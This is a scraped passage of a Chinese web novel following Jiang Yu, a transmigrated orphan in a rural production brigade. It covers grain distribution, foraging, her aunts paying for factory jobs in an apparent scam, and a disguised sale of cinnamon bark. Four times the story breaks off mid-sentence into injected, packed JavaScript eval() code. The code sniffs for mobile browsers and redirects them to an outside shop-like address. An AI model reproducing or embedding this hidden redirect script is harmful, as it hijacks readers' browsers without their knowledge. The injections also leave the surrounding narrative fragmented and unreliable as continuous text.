吃过早饭,江余拿着麻袋往晒谷场去,她到的时候,晒谷场上已经有不少社员到了,分粮食在社员眼里可是第一要紧的事,当然要早点来了。 江余来得也不算晚,她站了一会儿,大队长和大队会计他们才来。 仓库门口放了一张桌子,大队会计拿着记录社员工分的本子坐在那里,社员们按户排队核实工分领粮食,大队长和记分员他们帮忙称粮食。 工分多的人家分到的粮食就多,一袋袋粮食堆在旁边,看得江余可羡慕了,江余上半年的工分能分到一百斤红薯,五十斤玉米,二十斤稻谷。玉米得自己拿去磨成粉,稻谷也要自己拿去脱壳,二十斤稻谷脱完壳大概能得到十四斤大米。 别看一百斤红薯很多,红薯不好保存,容易坏,放久了还缩水,现在分到的红薯是刚从地里挖出来不久的,水分充足,再过一个月,可能就要缩水十几二十斤。 红薯不顶饿,吃多了还烧心,现在的红薯不如后世改良过的红薯好吃,大家都不怎么乐意分到红薯,偏偏分到的红薯最多,因为红薯不好保存,交粮交的都是好保存运输的粮食,大队里现有最多的粮食就是红薯了。 一百七十斤的粮食,江余一次没办法全部背回家,她这点粮食也不好跟别人借推车,就请大队长帮忙看着,她分成几次背回家。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959516|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 江正峰觉得江余挺可怜的,她又是自己的侄孙女,虽然关系远了一点,也是亲戚嘛,“江余,你一个小孩子哪里背得动,你先放着,我叫你顺子叔帮你背回家。” 江余拒绝了,“二叔公,不用麻烦顺子叔了,他也要背自家的粮食,我多背几次就背完了。” 江余还带了扁担和麻绳来,把五十斤玉米分成两袋,一袋三十多斤,一袋十几斤,绑在扁担两头,再把二十斤稻谷也绑上去,两边差不多重,她试了一下,这个重量她能挑得动。 把玉米和稻谷挑回家后再返回晒谷场的路上,江余碰到了推着推车的田彩燕。 田彩燕的力气大,平时都拿八公分,九公分,有时还能拿十公分呢,她分到的粮食比江余的多多了,这么多粮食一趟趟运多麻烦,所以她干脆借了一个推车来运粮食。 田彩燕见到江余就问:“江余,你家的粮食背回家了没有?” 江余:“我先背了一部分回家,剩下的叫我二叔公帮忙看着,我现在去背。” 田彩燕:“你不用背了,剩下的粮食放推车上,我顺便帮你运回去就行了,反正我们两家离得近。” 把玉米和稻谷挑回家后,江余觉得自己的肩膀被磨得生疼,剩下的红薯江余还要再挑两趟,可一点都不轻松,她答应下来,“那就多谢田婶子了,我帮田婶子一起推车。” 田家的粮食由梁月华看着,她站在一堆粮食旁边,挺显眼的,梁月华不愧是小说女主,她皮肤白,长相清秀,往那里一站,跟大队里的其他女孩子很不一样。 田彩燕把推车推到自家粮食面前,就把粮食往车上放,江余想帮忙来着,可惜她搬不动上百斤的粮食。 梁月华对江余说:“江余姐,这粮食很重的,你搬不动,我妈妈才能搬得动。” 田彩燕也道:“江余,你放着吧,我很快就搬完了。” 确实很快,田彩燕抱起一袋粮食就往推车里放,重复了几次后,地上的粮食就都装到推车上了,看田彩燕的样子还很轻松,江余家的那一百斤红薯也被她轻轻松松地放到了推车上。 江余又羡慕了,她也想有这样大的力气。她现在的力气比她刚穿越的时候大了不少,刚穿越的时候她下地只能拿到四公分,现在她能拿到六公分了,可是她觉得还是不够,她也想轻轻松松拿八公分,九公分。 不只是为了拿工分,在这个时代还是得有一把子力气才行,不然容易被人欺负,她还是一个孤女,更容易被欺负了,要是她的力气足够大,像何大娘这样的,敢来占她的便宜,她直接把何大娘给揍一顿,看她还敢不敢来打她家粮食的注意,她可不管什么尊老爱幼的,要那些名声也没用。 乡下都是土路,装着几百斤粮食的推车在土路上可不好走,费了一番力气,终于到了江余家门口,江余先把自己家的红薯卸下来,帮着把推车推到田彩燕家门口才回家。 23. 第 23 章 红薯不好保存,好在江余有空间,东西放进空间的时候是什么样,拿出来还是什么样,她回到家就把红薯都放进空间里了,等要吃的时候再拿出来,就不用担心红薯会放坏了。反正家里就她一个人,也不用解释那么大一袋红薯去哪里了。 容易放坏的东西都被江余放到空间里了,能放得住的东西都留在外面,像大米、玉米和稻谷这些能放得住的粮食都被她锁在柜子里,万一哪天空间不能用了,空间里面的东西取不出来了,她也不会没东西吃。 在江余的精心照料下,托田彩燕弄来的六只小鸡仔竟然都养住了,一个个活蹦乱跳的,没有要嗝屁的迹象,它们一天天地长大,原本的笼子不够住了,江余想给它们做一个新笼子,用竹子做的不结实,她打算用木头来做。 江余也没做过木工,但是做一个养鸡的笼子应该不难,就跟围栏杆一样,用木条把四周围起来就好了,间隔好距离,不让鸡从笼子里钻出去就行。 带上刀背着背篓就往山里去,她打算砍一棵树回来,做一个养鸡的笼子自然是用不了一棵树的,剩下的木材可以留着以后用,等需要用的时候,就不用再上山来砍了,反正她有空间,要把一棵树带回家也不是难事。 担心砍树的动静被人听到,江余往山里走深了一些。深山的树木自然生长得十分茁壮,随便挑一棵,都是做家具的好材料。江余挑了一棵大小适中的,把树砍倒之后,还花费了一番功夫把枝条和树干都分成一截一截的,方便放进空间里。 深山不好停留太久,江余把木头和枝条连带枝叶一起收进空间后就打算离开,离开的时候意外发现了一棵龙眼树,龙眼树长得很高,江余抬头去看,能看到枝头挂着的一串串龙眼。 现在已经八月了,这个时候是龙眼成熟的季节。江余找了最低处的枝条,跳起来折了一串龙眼。 用两根手指一按,果皮从果蒂处裂开,露出里面晶莹剔透的果肉,咬一口,清甜的汁水在口中炸开,嘴里咀嚼着厚实的果肉,将小小的果核吐出来,这龙眼核小肉厚,汁水丰沛,味道清甜,江余吃了一个还想吃第二个,很快就把一串都给吃完了。 龙眼好吃,却不好摘,这棵龙眼树可比之前那棵桃子树高多了。江余用了老办法,砍了一根竹子来,用竹竿的开口夹住长有龙眼的枝条,把枝条拧断,龙眼就掉到地上了,龙眼有一层外皮,不用担心掉到地上会摔坏。 江余仰头仰得脖子都酸了,拿着竹竿的手也举累了,终于把她能看得见的龙眼都摘了下来。地上掉满了一串串的龙眼,江余把这些龙眼连带着枝叶一起收进空间,吃完了龙眼,这些枝叶晒干了还能用来烧火。 深山里很少有人会来,地上掉落的枯枝都没人捡,这些可是烧火的好材料,特别是松树枝里富含油脂,一点就燃,用来引火最好了,江余一边往山下走一边捡柴火,两不耽误。 路上看到野菜就挖了往背篓里放,自留地的菜还没长成,抽奖得的蔬菜也不多,她还是得吃野菜,不仅她要吃,家里的六只小鸡仔也要吃。 江余今天的运气不错,她还发现了一棵香桂,香桂的树皮是一味药材,也就是桂皮。江余把整棵香桂砍了,树剥掉皮会死,她把树砍了留下一个树桩,树桩会长出新的枝芽,以后又能长成一棵香桂树了。 和之前那棵树一样,江余把香桂也砍成了空间能容纳的长度,先把香桂运回家,回家之后再把树皮取下来。 回到家,江余把砍回来的树干、树枝和树叶都铺放在天井,让太阳把它们晒干,从树干上截下来的木头留着以后用,做笼子不需要用这么好的木材,用树的枝干就行了,细小的树枝和树叶晒干后可以用来烧火。 把路上捡的枯枝放到厨房,挖的野菜拿一把出来剁碎了喂鸡,江余拿了一个板凳坐着,从空间里拿了一支冰棍出来,一边吃冰棍,一边看小鸡仔们啄野菜叶子,这么热的天,江余又是刚从外面回来,正好吃一根冰棍解解暑。 江余在山上吃了好多龙眼,现在还不饿,就把空间里的香桂树拿出来处理,把能用的树皮都剥下来,叶子也都摘下来,香桂的叶子也能入药,就是香叶,把香叶放在簸箕里,和桂皮一起放到厨房顶上晒。 双抢过去了,地里的活没那么辛苦了。夏天中午太阳大,早上上工的时间就提前了,中午可以早点下工,下午上工的时间也晚了一些,下工也晚。要不是晚上看不见,估计大家都宁愿晚上上工,白天睡觉了,晚上没有太阳晒,还凉快,适合干活,白天那么热,就适合在家睡觉。 上午下工的时候,太阳已经大了,江余一刻也不想多停留,就想着赶紧回家,跟张秀英和吴桂花同组的婶子看见江余就问了一句,“江余,你大伯娘和三婶今天怎么都没来上工啊?” 江余摇头表示不知道,自从她从江有田那里拿了十斤大米后,她跟这两人就几乎没有接触了。江余没事不会去找她们,当然,有事也不会去找她们,这两人则是躲着江余,怕江余跟她们要粮食。就算分粮之后也是一样,江余分到多少粮食她们都知道,离秋收还有几个月呢,江余这点粮食不知道能不能撑到秋收后分粮。 张秀英和吴桂花今天都请假去县城了。 江有田和张秀英打算给两个儿子买个工作可不是说说而已的,江卫军还小不着急,江卫党都十八岁了,到娶媳妇的年纪了,得赶紧给他弄个工作,好娶个城里媳妇。 张秀英一直有托人帮忙打听工作的事,只是城里的工作名额难得,就算有,人家也是透露给自己的亲戚,不会透露给外人。 托人打听没有消息,张秀英就打算自己亲自去县城打听,前段时间要双抢,张秀英也没空去城里,等双抢结束后,她亲自去了几次县城,总算打听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959517|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了一点眉目。 还没等她继续下一步,吴桂花就找上门来了。 这两个妯娌也就是在对待江余的事情上态度一致,这些年来,这二人一直都在暗中较劲的。 她们的男人,一个是长子,一个是幼子,江家二老两个都疼,就是中间的老二不受重视,不然也不会把二儿子送到城里当学徒了,那个时候当学徒可辛苦了,工钱肯定是没有的,但是可以管饭,至于伙食嘛,反正不会让你饿死就是了,当学徒什么活都要干,还要经常挨骂挨打。 江家二老不看重江有林,对他媳妇自然也不好,有人衬托,张秀英和吴桂花都觉得自己在婆家受宠,她们对江有林媳妇是嫉妒的,因为她男人有出息,可是又觉得你男人有出息又怎么样,你在婆家还不是不受待见,二人自觉是一派的,关系还不错。 后来江有林死了,他媳妇也跑了,没了共同的敌人,两个人的关系就不如以前了,等到发现江有林留下的金条后,两人的矛盾就显露出来了,都觉得这些金条自己家应该分多一份。 对于江家二老来说,长子和幼子他们都疼,手心和手背都是肉,分给这两家的金条都是一样多。 两人可不信什么手心手背都是肉,这手心的肉还要比手背厚呢,怎么可能一样,她们都怀疑二老私下补贴对方,所以她们都盯着对方,生怕对方从公婆那里得了什么好处,自己家吃了亏,这盯人的习惯江家二老去世后也没改。 张秀英频繁去县城的事自然也被吴桂花知道了,吴桂花的嗅觉还挺灵敏的,一看就知道妯娌有事瞒着她,这事还是好事,她就去问张秀英。 张秀英当然不肯说了,她辛苦打听得到的消息,凭什么要告诉跟她关系不好的妯娌?就随便编了个理由敷衍过去。 她不说,吴桂花也有办法知道。 工作的事有了眉目后,张秀英就想早点把事情定下来,她来到县城的国营饭店,点了几个菜,还都是肉菜,要是平时她可舍不得,这不是要求人办事嘛,不得请别人吃点好的。 菜做好后,张秀英去拿菜的窗口把菜端过来,菜端好了,张秀英也不吃,就坐在那里等着,直到门口出现了一个身影,她才站起来笑着招手,“郑永发同志,这里坐,菜都点好了!” 张秀英费了一番功夫打听到的工作名额就是郑永发家的,说是他姐姐要去随军了,她的工作就空出来了,他们家里人都有工作,就想把这个工作名额卖掉。 张秀英怕被骗,还去郑永发工作的鞋厂打听,鞋厂确实有一个叫做郑永发的工人,他的姐姐也在鞋厂工作,男人是个军人。 至于郑永发姐姐是不是要去随军的事张秀英没问,估计别人也不知道,要是知道了,能不打那个工作的主意吗?她要是问了,郑永发姐姐要去随军卖工作的事就被别人知道了,万一工作被别人抢先买了怎么办? 24. 第 24 章 张秀英已经跟江有田商量好了,她今天来就是要跟郑永发定下买工作的事,两人正说着呢,忽然身后传来一道声音,“大嫂,原来你来县城是为了买工作的事啊?” 张秀英转头一看,吓了一跳,不知道吴桂花什么时候跟来,“弟妹,你怎么也来县城了?” 吴桂花:“我要是不来,怎么能知道大嫂你要买工作的事?我也想给我家卫国买一个工作呢。” 张秀英的脸色不好看,“弟妹,这个工作名额可是我打听来的,你可不能跟我抢!”她又看向郑永发,“郑永发同志,这事我们都谈得差不多了,你不会反悔吧?” 郑永发:“张婶子你说的是什么话,我们都说好了,当然不会反悔了。” 吴桂花急了,“郑永发同志,我也想给我儿子买个工作,你看你还有没有哪个亲戚要卖工作的?” 吴桂花的儿子也十六岁了,过几年也要娶媳妇了,要是成了工人,就能娶个城里媳妇,以后一家子都是城里人了,张秀英能想到的,她也能想到。 郑永发的眼神闪了闪,笑道:“这位婶子别着急,我还有一个亲戚要卖工作,你要是想买的话,我帮你问一问。” 张秀英狐疑:“你之前不是说只有你姐姐要卖工作吗?怎么又有一个亲戚要卖工作?” 郑永发:“之前确实只有我姐姐要卖工作,这个亲戚也要卖工作的事,我是昨天才听说的,这事还没多少人知道呢,这个亲戚要的价比我家要贵五十块钱,我想着婶子已经打算要买我姐姐的工作了,就没跟婶子你说。” 郑永发姐姐的工作一口价五百块,再贵五十块就是五百五十块。 张秀英的小儿子江卫军才十岁,这次她只用给大儿子江卫党买一个工作就行了,她已经决定要买郑永发姐姐的工作,自然不会去买郑永发亲戚的工作,就没再多说什么。 吴桂花一开始觉得贵了五十块有些不乐意,想讲讲价,看看能不能五百块买下那个工作名额。 “这个我可做不了主,我那亲戚就要这个价格,婶子你要是觉得不合适就算了。”郑永发也没强求吴桂花买下那个工作名额,一副你不买自然有别人买的样子,之后也不怎么搭理吴桂花了。 吴桂花见状又觉得贵五十块钱也不是那么难接受了,现在工作名额多难得啊,错过这个村可就没这个店了,不就是五十块钱嘛,等她儿子成了正式工人,两个月就挣回来了。 “郑永发同志,你亲戚的那个工作我买了,麻烦你帮我问问,可别让其他人抢先了,事成了婶子不会亏待你的。” 郑永发笑道:“既然婶子诚心要买,我就帮婶子问问。” 没过多久,郑永发就传来消息,说他那个亲戚愿意把工作卖给吴桂花,郑永发姐姐的工作已经确定卖给张秀英,正好两边一起,让她们二人一起带着钱来县城。 郑永发带着吴桂花见了他的亲戚,吴桂花见了人心里踏实了。 郑永发:“你们先把钱给了吧,过几天带人过来办手续。” 吴桂花:“怎么还要过几天才能办手续,今天不行吗?” 郑永发:“我也是早上才知道,负责办理工作交接的同志这几天出差了,不在厂子里,所以得等那位同志回来了才能办手续。而且我也要提前在厂里打好关系,好让交接手续办理顺利,这是要花钱的,要是我花了钱把关系打通了,你们突然反悔不买我家的工作了怎么办?我不是亏了?反正这钱早晚都是要给的,你们先把钱给了,我也放心。” 张秀英确认过郑永发的身份,她现在对郑永发是深信不疑,她用手肘捅了捅吴桂花,“弟妹,郑永发是厂子里的工人,不可能骗人的,他要是骗了我们,我们可以去找厂里的领道讨回公道,到时候郑永发同志骗人的事不就人尽皆知了吗?他自己也丢脸。” 吴桂花见郑秀英十分信任郑永发,心里的疑虑也打消了一些,她这个大嫂十分精明,别人被骗她都不可能被骗。想必是她事先已经打听过了才这么笃定对方不会骗人,就信她一次吧,要是真的被骗了,就去找她要钱去! 吴桂花:“郑永发同志,你别怪我多嘴问一句,这五百多块钱呢,又不是五毛钱,就这么给出去了心里肯定不踏实。不过我大嫂信任你,我也相信你,我刚刚不过是白问一句罢了。” 两人掏出准备好的钱交给了郑永发和他的亲戚,数好钱,确认钱没少,两人转头对视了一眼,眼里是藏不住的喜意,转过头来,两人表面上还是很镇定的样子,吴桂花见他们拿着五百块钱跟拿着五毛钱似的,一看就是见惯了大场面的人,没把这五百块钱放在眼里,她心中的疑虑彻底打消了。 自留地的菜已经种下去一个多月了,江余给它们除草、施肥、浇水,每天勤勤恳恳打理菜地,她的辛苦终于有了收获,菜地的菜心可以摘了。 江余还切了几片肉和菜心一起炒,自己种的菜就是好吃,菜叶子吸满了肉汁,味道鲜美,菜杆脆爽还带着一股清甜。 不知道是因为江余打理得好,还是因为菜种子是系统出品,江余家的菜地里的菜的长势比别人家的好一些,江余家的菜心可以摘的时候,旁边不管是何大娘家的还是田婶子家的菜心都还没长成。 江余摘菜的时候,何大娘盯着江余的菜地看个不停,江余怀疑她是不是又想偷她家的菜了。 江余看了何大娘一眼,“何大娘,你盯着我家我的菜地看什么呢,虽然菜不是粮食,但是偷菜也是犯法的。” 何大娘“呸”了一声,“不就是几棵青菜吗?当谁稀罕似的!” 你不稀罕?要不是篱笆拦着,你都要过来摘了。 允许养鸡后,大队里的人都把自留地给围起来了,免得有鸡跑到自留地里吃菜,何大娘和田婶子家的自留地也都围了篱笆。 江余摘的菜心分成两份,一份留着自己吃,另一份送到田家,她种的菜长得这么好,还有田婶子的一份功劳呢。 小时候家里的菜地都是爷爷奶奶打理,她平时也就帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961476|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙浇水,还有就是菜长成了去摘菜,她其实是没有什么种菜经验的,现在她能把菜地打理得这么好,除了依靠原主的记忆之外,还有就是田婶子的指导了。 “你种点菜也不容易,这菜你留着自己吃吧,过几天我家的菜也能摘了。”田彩燕真心觉得江余不容易,她平时能帮的就顺手帮一把,要让她占江余的便宜她是不肯的。 江余:“我的菜能长得那么好,还要多谢婶子平时教我怎么打理,青菜也不值什么钱,第一茬菜就吃个新鲜,我就想着送来给婶子也尝尝。” 田彩燕只好收下了这把菜心,“这次我就收下了,下次别送了,你家菜地里的菜要是吃不过来,就做成酸菜、咸菜,或者是晒成菜干,留着没菜的时候吃。” 她们这里冬天的气温不会低到冻死菜的地步,一般来说冬天还是会有青菜吃的,但是偶尔也会有那一年的冬天异常寒冷的情况。 何大娘看着江余拿菜去田家,她心想算江余还算懂事,知道讨好邻居,只是这懂事也不多。 她家可一直都是江家的邻居,不比田家亲近?况且她的辈分比田彩燕还要大一辈呢,田彩燕还是个离了婚赖在他们大队不走的女人,江余要送菜给邻居吃,怎么也要先送给她家吧,怎么就先送去田家了,等一会儿江余送菜过来,她可要好好说说江余。 何大娘回家左等又等,就是不见江余送菜过来,到了做饭时间还让儿媳妇不着急,等江余送菜过来再做饭,到时候可以顺便把菜一起炒了。 负责做饭的李杏花撇撇嘴,她这个婆婆真是想得美,以前经常欺负江余,还想江余给她送菜吃,要是以前还有可能,现在的江余肯定不会送的,她看出来了,现在的江余已经变了,不再是以前那么被欺负了也不吭声的江余了。 眼看天都要黑了,再不做饭,就要点灯吃饭了,还要浪费煤油,李杏花去问何大娘,“妈,天都要黑了,可以做饭了吗?” 何大娘本以为江余会给她送菜,结果等了半天,连江余的人影都没看见,这才反应过来是她想多了,江余根本没有打算给她送菜!何大娘心里正恼火呢,她还比不上田彩燕了?给田家送,不给她家送! 这时候李杏花开口就撞上了何大娘的枪口上了,何大娘叉腰骂道:“你自己不会看天色啊!天都快黑了,还不做饭,你想饿死全家人是不是?我就知道你不是个好的,以前我儿子在的时候就装模做样,我儿子不在家你就原形毕露了,想要踩到我这个婆婆头上来?我告诉你,你想都别想!嫁到我们家这么多年,连个儿子都生不出来,干活也干不好,真不知道娶你有什么用……” 李杏花一肚子委屈,明明是何大娘让她不要着急做饭的,现在又怪她不做饭,她的命怎么这么苦啊! 到了晚上,确认旁边的几个女儿都睡着了,李杏花悄悄摸出她白天偷藏的鸡蛋,拿热水冲来吃了,她可得好好给自己补补身子,等陈大柱回来了,她好给陈家生个儿子,等她有了儿子,死老太婆不得捧着她? 25. 第 25 章 江余和大队长请了假,说家里的火柴用完了,要去县城供销社买,现在不是农忙的时候,社员来请假大队长都会批准的,他没多问,就同意了江余的请假。 家里的火柴确实快用完了,江余要去县城供销社买火柴和其他的生活用品。另外,桂皮和香叶已经晒好了,她打算拿去县城收购站看看收购站收不收。 江余砍回来的那棵香桂树比较粗壮,剥下来的桂皮晒干后,大概有三十多斤重,香叶也有大概七八斤重。拣了相对完整和品相好的桂皮和香叶装进袋子里,那些零零碎碎的边角料留着以后做菜用。 这次去县城没有驴车坐了,江余得走路去县城,还好她有空间,桂皮和香叶可以放在空间里,不用她背着,不然让她背三四十斤重的东西走去县城,她不知道要累成什么样。江河大队离县城可不近,坐驴车要半个多小时,人走路的速度没有驴车快,得走将近一个小时。 上次去县城的时候,江余把路线给记下了,不用担心自己会走错路,她戴上草帽锁好门就出发了,一路上江余都没有碰到人,她走累了还从空间里拿了一根冰棍出来吃,这冰棍江余都是省着吃的,吃到现在就剩几根了。 这个年代是有冰棍卖的,可是她没钱买,有这钱拿去买肉吃不好吗?买冰棍吃不划算,等她以后有钱了再说吧。 到了县城,江余先去打听了收购站的位置,到了收购站她不着急把东西拿出来,而是先进去问了问桂皮和香叶的价格,看她一个十来岁的孩子来问,收购站里的人都懒得理她,她就说是家里的大人叫她来问的,工作人员才告诉她桂皮和香叶的收购价格,桂皮一斤五毛钱,香叶的价格贵一些,一斤一块五。 出了收购站,江余找了一个没人的地方给自己换装,她往自己的衣服里塞了一些破布,让自己看起来胖了一些。又换了一双厚底的鞋,这鞋是她在家提前做好的,用木头涂黑了绑在鞋底,她又在鞋子里塞了一些布来增高,穿上这双鞋子,她一下子高了有十公分。 江余本来的身高一米五,穿上鞋子一米六,跟她原本的身形不一样了。接着她又拿出从锅底刮下来的锅灰,均匀地抹在脸上,脖子上和手上,凡是露出来的地方都抹上。最后把头上的草帽放进空间,拿了一块布当作头巾把头和半张脸围起来。 一番乔装打扮之后,江余变成了一个皮肤黝黑的妇人。 从空间里拿出装着桂皮和香叶的袋子,把袋子背在背上,含胸驼背地走出去。 江余在现代的时候学过变声,让她模仿一个中年妇女的声音不是什么问题。 来到收购站,江余又问了一次桂皮和香叶的价格,和之前问的价格一样,她就把袋子放到柜台上,“这些你们都能收?” 收购站的同志放下手里的报纸站起来打开袋子看了看,“只要品质没问题的都收。” 这些桂皮和香叶一看就是新的,工作人员还问了一句,“这是哪里弄来的?” 江余憨厚地笑了笑,“家里老人年轻的时候种的,我儿子到了娶媳妇的年纪,家里的钱不够,就砍了树,把树皮和叶子晒干,打算换些钱给孙子娶媳妇用。” 这个解释没什么问题,收购站的同志就没再多问,称了重量后,桂皮一共三十三斤六两,香叶八斤五两,一共是二十九块五毛五分。 江余接过钱放进口袋,不急不缓地走出收购站,出了收购站她的脚步加快了一些,找到一个没人的角落把鞋子给换了,这踩高跷可真难受。 换了鞋子,其他的伪装都没卸下来,这样的打扮去买东西还方便一些,现在的人营养跟不上,一般也不怎么高,一米五的妇女还是有的。 没有票很多东西都不能买,但是有一些东西是不要票的,就是价格要贵一些。江余把用上次用花布换来的票都用掉后,又买了不要票的牙膏牙刷和香皂。还有一些高档饼干也不要票,江余买了四斤。火柴也一次买了十盒,够用挺久的了。 江余的耳朵灵敏,听到了另一边的售货员和一个大姐压着声音说什么“瑕疵布”“不要票”,江余的耳朵竖了起来,不要票的东西她喜欢! 见那售货员正要领着那位大姐往后走,江余赶紧凑过去,压着声音,“妹子,有瑕疵布能不能也卖我一些?” 售货员知道自己的话被江余听见了,她不好拒绝,怕江余闹起来,便同意了,“可以是可以,不过你不能买太多,最多只能买二十尺。” 因为她亲戚要买二十尺,她不好差别对待,还好这批瑕疵布是昨天到的,剩的还很多。 江余连忙点头,“行,我就要二十尺。” 布是深蓝色的,是现在大部分布料的颜色,说是瑕疵布,也就是染色不均匀而已,现在的人也不在乎颜色染得均不均匀,这不是什么大问题。 不要票的瑕疵布要贵五分钱,一尺三毛五分钱,二十尺布花了江余七块钱。 江余原有的两块五,加上卖桂皮和香叶得的二十九块五毛五分,一共有三十二块五分钱。她之前买东西已经花了五块三毛五分钱了,主要是高档点心贵,一斤就要一块钱,光是饼干就花了四块钱,再加上买布花的七块钱,她还剩下十九块七毛钱。 这年代的饼干放猪油和糖的分量很足,是好东西,江余现在正在长身体,饿得快,早上吃饱去上工,还没到下工时间,肚子就饿得咕咕叫了,这饼干买回去,饿了可以吃一块填填肚子。 出了供销社,走到没人的地方,把在供销社买的东西都放进空间里,往肉铺走去,看看有没有不要票的大骨头和上下水卖。 江余一眼看过去,台子上只剩下一块瘦肉了,瘦肉的价格还比肥肉要贵一些,这年代大家都缺油水,也没什么钱,都喜欢买肥肉吃,瘦肉不太受欢迎。不管是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976852|136745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肥肉还是瘦肉,都是要票的,江余买不起。 “同志,还有没有不要票的骨头和上下水?” 肉铺的同志放下搪瓷杯,抬起眼皮看了一眼江余,从台子下面拿出两根大骨头和一副大肠,“骨头还有两根,上下水别的没有了,猪大肠还有,你要不要?” 对方拿出来的骨头上的肉剔得干干净净,光秃秃的就一根骨头,这个天气,放了一上午的猪大肠有了点味道了,凑近了能闻到,江余都要了,虽然比不上肉,好歹也是油水,还不要票。 江余给了钱,拎起肉铺的同志用草绳绑好的骨头和猪大肠就走,她还没走远,就听到有人去肉铺问了和她一样的问题,得到的回答是:“都没有了,刚卖完。” 两根猪骨头一共五毛钱,猪大肠一毛五一斤,一共四斤,六毛钱。又花了一块一毛钱,江余身上还剩十八块六毛钱。 江余走到没人的地方,把两根骨头和猪大肠一起放进空间里,把头巾摘下来,塞在衣服里的破布也拿出来,取出放在空间里的水,把布沾湿,把脸和脖子擦洗干净,手也洗干净。 再出来时,江余已经变回十来岁的孩子了,她买的东西都放在空间里了,两手空空往回走。 回去的路上,明显感觉太阳晒了不少,江余摸着草帽都觉得烫手,她加快了速度埋头赶路。 突然有什么东西从路中间飞快地窜过去了,江余要是没看错的话,那应该是只兔子,兔子肉也是肉,江余顺着晃动的野草追过去,说不定能找到兔子窝。 江余哪有兔子跑得快,最后兔子在草丛里不见了踪影,江余也不是一无所获,她发现了一窝野鸭蛋,野鸭蛋的个头比一般鸭蛋要小一些,旁边还有一些蛋壳,江余猜测那些蛋壳应该是破壳而出的小鸭子留下来的。 把窝里的野鸭蛋都收进空间里,顺着野鸭留下的痕迹来到河边,几只野鸭带着一群小鸭子卧在几棵灌木底下躲太阳。 江余没有要把它们留着继续下蛋的想法,她能发现这些野鸭,别人也能,吃到自己肚子里的才是自己的。 有了刚刚追赶兔子的经验,江余觉得自己还是不要贸然出手的好,要是野鸭跑到河里去,她难道要下河去抓鸭子?江余不知道河水的深浅,她可不想再落水身亡一次。 江余小心翼翼地凑近了一些,从地上捡了一些石子,几颗石子打出去,那几只野鸭就头晕目眩,一头栽倒在地。 江余这才从草里站起来,走去捡晕倒的野鸭,把它们收进空间里。江余的出现惊得那群小鸭子四处逃窜,江余也没有要抓它们的意思,这些小鸭子才孵出来一两个月,还没到能吃的时候。 还没走出这片草地,江余感觉自己的眼睛被什么东西晃了一下,她低头四处看了看,看到有个地方发亮,拨开上面盖着的野草,露出一个带锁的木盒,木盒上的金属被太阳晒得发亮。 26. 第 26 章 这个木盒做工十分精致贵气,用的料子一看就不是普通的木料,说不定是用黄花梨之类的昂贵木料做的,放在这么好的盒子里的东西肯定也是好东西。 盒子锁着,江余打不开,只好用石头把锁给砸开,打开盒子看到里面的东西,江余有点失望,居然是扑克牌和骰子。 这两样东西让她想到同组干活的大娘说的丰收大队开赌局的事,难道这个盒子是开赌局的那些人放在这里的? 只是扑克牌和骰子没必要用这么好的盒子装着吧,还上了锁,江余拿起空盒子晃了晃,敲了敲,发现了盒子底部是有夹层的。 江余在盒子里摸索了一番,找到了打开夹层的机关,夹层里放着票据和一叠借条,还有厚厚的一沓钱! 江余惊了一下,她警惕地看了一眼四周,没有看到有人,这里的草高的有半人高,她又是蹲着的,就算有人应该也看不到她。 江余把钱和票都拿出来,放进空间里,把夹层恢复原样,再把扑克牌和骰子也放回木盒里,拿野草重新盖在上面,快速离开了这个地方。 江余并不是一个善良无私的好人,她向来都是不喜欢多管闲事的,下水救人是她人生中唯一一次昏了头,结果就丢了性命,吃了教训之后,她更坚定绝对不多管闲事。 这个盒子里面的钱被她看见了,就是她的了,至于别的,不关她的事。 换做别人发现了这个木盒,也会把里面的钱拿走的,她不拿,也是便宜了别人,还不如便宜她呢。 说不定这是老天爷觉得她死得太冤了,死后又穿越到这个吃不饱穿不暖的年代,过得太苦了,想补偿她呢,不然怎么偏偏被她发现了这个木盒。 回到家,锁上外面的大门,江余回到房间里,把放在空间里的钱和票拿出来。 